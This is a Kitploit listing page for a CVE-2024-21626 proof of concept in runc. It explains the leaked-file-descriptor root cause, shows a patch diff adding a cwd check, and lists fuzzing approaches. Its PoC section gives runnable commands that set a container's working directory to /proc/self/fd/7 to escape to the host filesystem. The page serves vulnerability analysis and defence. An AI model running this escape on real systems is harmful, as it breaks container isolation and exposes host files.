Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-21626-PoC — Root cuase & Proof Of Code | Kitploit
工具/GitHubGitHub/r4mbb/cve-2024-21626-poc
Vulnerability AnalysisExploitationFuzzingPenetration TestingContainer EscapeBinary Exploitation
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Root cuase & Proof Of Code

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-21626

根本原因 & PoC

如何使用 poc-autoplay?

root@kitploit:~
make install

make uninstall

1. 根本原因

  • runc v1.1.11 及以下版本中,为了设置cgroup而打开主机的 /sys/fs/cgroup 目录时,未关闭该文件描述符并将其保留在容器初始化进程中,从而导致了该漏洞。
  1. 在 runc init 阶段,通过主机的 /sys/fs/cgroup 获取 /proc/{PID}/fd/7。
  2. 在未关闭该 fd 的情况下 fork/exec 容器 PID 1。
  3. 通过 runc 的 spec 或 runc exec —cwd 选项,将工作目录(cwd)设置为类似上述获取的 /proc/self/fd/7/ 这样的攻击者可控路径。
  4. 执行 chdir 后,PID 1 的 cwd 移出了容器的 rootfs。
  5. 容器内部进程可以访问或修改主机文件系统,从而导致容器逃逸。
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
  • 在 chdir 之后立即添加了验证 cwd 的逻辑。
  • 在 libcontainer/init_linux.go 中添加了 verifyCwd() 函数,用于在 chdir 之后检查 cwd 是否仍在容器内部,并决定是否返回错误。
  • 添加了关闭所有泄漏文件描述符的逻辑。
  • 在最终 execve 之前关闭所有内部 fd,确保主机 fd 不会留在容器进程中。

2. Proof of Concept

  • Environment
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - 内核 (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Exploit via runc itself
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

从 Docker 内部的本地 / 路径开始。

  • 创建容器时,需要将工作目录设置为特定的文件描述符。 主机的打开 fd 与容器内部的 fd 相关联,从而可能实现 Docker 逃逸。

  • PoC file -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. 如何对此漏洞进行模糊测试?

  • 针对有漏洞的 runc 二进制文件进行 go-fuzz 的方式。
  • 以易受攻击函数 finalizeNamespace() 内部的 chdir(config.Cwd) 处理部分为目标,输入随机 OCI 配置的方式。
  • 通过这种方式,可以分析 chdir 后 cwd 中的相对路径异常处理或崩溃部分。
  • 针对有漏洞版本的 runc 二进制文件使用 AFL++ 进行的方式。
  • 对 OCI spec JSON 和 runc CLI 参数进行模糊测试的方式。
  • 以 OCI spec JSON 中的 cwd 部分为目标,分析 chdir 点发生的崩溃。
下载工具